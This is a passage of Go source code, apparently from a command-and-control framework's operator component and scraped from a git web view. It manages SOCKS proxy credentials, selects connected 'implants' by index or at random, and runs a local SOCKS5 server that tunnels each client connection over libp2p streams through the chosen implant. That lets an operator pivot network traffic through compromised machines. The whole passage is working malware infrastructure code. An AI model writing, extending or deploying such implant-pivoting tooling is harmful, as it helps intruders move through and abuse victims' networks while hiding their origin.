Cancel context.CancelFunc
|
||||
StartTime time.Time
|
||||
Random bool
|
||||
}
|
||||
|
||||
type SocksCreds struct {
|
||||
Username string `json:"username"`
|
||||
PasswordHash string `json:"password_hash"`
|
||||
}
|
||||
|
||||
func socksConfigPath() string {
|
||||
return filepath.Join(necropolisDir(), "socks.json")
|
||||
}
|
||||
|
||||
func LoadSocksCreds() (*SocksCreds, error) {
|
||||
data, err := os.ReadFile(socksConfigPath())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c := &SocksCreds{}
|
||||
if err := json.Unmarshal(data, c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func SaveSocksCreds(c *SocksCreds) error {
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal socks creds: %w", err)
|
||||
}
|
||||
return os.WriteFile(socksConfigPath(), data, 0600)
|
||||
}
|
||||
|
||||
func ClearSocksCreds() error {
|
||||
return os.Remove(socksConfigPath())
|
||||
}
|
||||
|
||||
func hashPassword(password string) (string, error) {
|
||||
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("bcrypt hash: %w", err)
|
||||
}
|
||||
return string(bytes), nil
|
||||
}
|
||||
|
||||
func checkPassword(password, hash string) bool {
|
||||
return bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil
|
||||
}
|
||||
|
||||
func (o *Operator) pickImplantPeerID(idArg string) (string, *ImplantRecord, error) {
|
||||
implants := o.ListImplants()
|
||||
var connected []*ImplantRecord
|
||||
for _, rec := range implants {
|
||||
if !rec.Disconnected {
|
||||
connected = append(connected, rec)
|
||||
}
|
||||
}
|
||||
if len(connected) == 0 {
|
||||
return "", nil, fmt.Errorf("no connected implants")
|
||||
}
|
||||
|
||||
if idArg == "random" {
|
||||
choice := connected[rand.Intn(len(connected))]
|
||||
return choice.PeerID, choice, nil
|
||||
}
|
||||
|
||||
if idArg == "" {
|
||||
return "", nil, fmt.Errorf("specify an implant index or 'random'")
|
||||
}
|
||||
|
||||
idx, err := strconv.Atoi(idArg)
|
||||
if err != nil {
|
||||
return "", nil, fmt.Errorf("bad index %q", idArg)
|
||||
}
|
||||
if idx < 0 || idx >= len(connected) {
|
||||
return "", nil, fmt.Errorf("index %d out of range (0-%d)", idx, len(connected)-1)
|
||||
}
|
||||
rec := connected[idx]
|
||||
return rec.PeerID, rec, nil
|
||||
}
|
||||
|
||||
func (o *Operator) pickRandomImplant() (*ImplantRecord, error) {
|
||||
implants := o.ListImplants()
|
||||
var connected []*ImplantRecord
|
||||
for _, rec := range implants {
|
||||
if !rec.Disconnected {
|
||||
connected = append(connected, rec)
|
||||
}
|
||||
}
|
||||
if len(connected) == 0 {
|
||||
return nil, fmt.Errorf("no connected implants")
|
||||
}
|
||||
return connected[rand.Intn(len(connected))], nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
func (o *Operator) SocksStart(implantPeerID string, port int, username, password string) error {
|
||||
random := implantPeerID == "random"
|
||||
|
||||
var pid peer.ID
|
||||
if random {
|
||||
rec, err := o.pickRandomImplant()
|
||||
if err != nil {
|
||||
return fmt.Errorf("no implants available for random socks: %w", err)
|
||||
}
|
||||
pid, err = peer.Decode(rec.PeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode random implant peer id: %w", err)
|
||||
}
|
||||
implantPeerID = rec.PeerID
|
||||
log.Printf("[socks] random selection picked implant %s@%s", rec.Name, rec.PeerID)
|
||||
} else {
|
||||
var err error
|
||||
pid, err = peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
}
|
||||
|
||||
o.socksMu.Lock()
|
||||
if _, exists := o.socksProxies[port]; exists {
|
||||
o.socksMu.Unlock()
|
||||
return fmt.Errorf("SOCKS proxy already running on port %d", port)
|
||||
}
|
||||
o.socksMu.Unlock()
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("listen 127.0.0.1:%d: %w", port, err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(o.ctx)
|
||||
|
||||
inst := &SocksInstance{
|
||||
Port: port,
|
||||
ImplantID: implantPeerID,
|
||||
Username: username,
|
||||
Listener: listener,
|
||||
Cancel: cancel,
|
||||
StartTime: time.Now(),
|
||||
Random: random,
|
||||
}
|
||||
|
||||
o.socksMu.Lock()
|
||||
o.socksProxies[port] = inst
|
||||
o.socksMu.Unlock()
|
||||
|
||||
log.Printf("[socks] SOCKS5 proxy on 127.0.0.1:%d -> implant %s (auth: %s)", port, implantPeerID, username)
|
||||
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
listener.Close()
|
||||
o.socksMu.Lock()
|
||||
delete(o.socksProxies, port)
|
||||
o.socksMu.Unlock()
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
go o.handleSocksConn(conn, pid, username, password, random)
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (o *Operator) SocksList() []*SocksInstance {
|
||||
o.socksMu.Lock()
|
||||
defer o.socksMu.Unlock()
|
||||
out := make([]*SocksInstance, 0, len(o.socksProxies))
|
||||
for _, inst := range o.socksProxies {
|
||||
out = append(out, inst)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (o *Operator) SocksStop(port int) error {
|
||||
o.socksMu.Lock()
|
||||
inst, ok := o.socksProxies[port]
|
||||
o.socksMu.Unlock()
|
||||
|
||||
if !ok {
|
||||
return fmt.Errorf("no SOCKS proxy running on port %d", port)
|
||||
}
|
||||
|
||||
inst.Cancel()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (o *Operator) handleSocksConn(client net.Conn, implantID peer.ID, username, password string, _ bool) {
|
||||
defer client.Close()
|
||||
|
||||
br := bufio.NewReader(client)
|
||||
_ = client.SetDeadline(time.Now().Add(30 * time.Second))
|
||||
|
||||
ver, err := br.ReadByte()
|
||||
if err != nil || ver != 5 {
|
||||
return
|
||||
}
|
||||
|
||||
nmethods, err := br.ReadByte()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methods := make([]byte, nmethods)
|
||||
if _, err = io.ReadFull(br, methods); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
authRequired := username != ""
|
||||
offersAuth := false
|
||||
for _, m := range methods {
|
||||
if m == 2 {
|
||||
offersAuth = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if authRequired && !offersAuth {
|
||||
client.Write([]byte{5, 0xff})
|
||||
return
|
||||
}
|
||||
|
||||
if offersAuth {
|
||||
client.Write([]byte{5, 2})
|
||||
|
||||
aver, err := br.ReadByte()
|
||||
if err != nil || aver != 1 {
|
||||
return
|
||||
}
|
||||
|
||||
ulen, err := br.ReadByte()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
unameBytes := make([]byte, ulen)
|
||||
if _, err = io.ReadFull(br, unameBytes); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
plen, err := br.ReadByte()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
passBytes := make([]byte, plen)
|
||||
if _, err = io.ReadFull(br, passBytes); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if string(unameBytes) != username || string(passBytes) != password {
|
||||
client.Write([]byte{1, 1})
|
||||
return
|
||||
}
|
||||
client.Write([]byte{1, 0})
|
||||
} else {
|
||||
client.Write([]byte{5, 0})
|
||||
}
|
||||
|
||||
req := make([]byte, 4)
|
||||
if _, err = io.ReadFull(br, req); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if req[0] != 5 || req[1] != 1 {
|
||||
client.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
return
|
||||
}
|
||||
|
||||
var host string
|
||||
switch req[3] {
|
||||
case 1:
|
||||
addr := make([]byte, 4)
|
||||
if _, err = io.ReadFull(br, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
case 3:
|
||||
addrLen, err := br.ReadByte()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
addr := make([]byte, addrLen)
|
||||
if _, err = io.ReadFull(br, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = string(addr)
|
||||
case 4:
|
||||
addr := make([]byte, 16)
|
||||
if _, err = io.ReadFull(br, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
default:
|
||||
client.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
return
|
||||
}
|
||||
|
||||
portBytes := make([]byte, 2)
|
||||
if _, err = io.ReadFull(br, portBytes); err != nil {
|
||||
return
|
||||
}
|
||||
port := binary.BigEndian.Uint16(portBytes)
|
||||
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
|
||||
|
||||
client.SetDeadline(time.Time{})
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
|
||||
defer cancel()
|
||||
ctx = network.WithAllowLimitedConn(ctx, "socks")
|
||||
|
||||
s, err := o.node.NewStream(ctx, implantID, transport.SocksProtocolID)
|
||||
if err != nil {
|
||||
log.Printf("[socks] stream to %s: %v", implantID.String(), err)
|
||||
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
return
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
|
||||
log.Printf("[socks] send target: %v", err)
|
||||
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
return
|
||||
}
|
||||
|
||||
client.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
|
||||
done := make(chan struct{}, 2)
|
||||
go func() {
|
||||
io.Copy(s, br)
|
||||
done <- struct{}{}
|
||||
}()
|
||||
go func() {
|
||||
io.Copy(client, s)
|
||||
done <- struct{}{}
|
||||
}()
|
||||
<-done
|
||||
<-done
|
||||
}
|
||||
Reference in New Issue
Block a user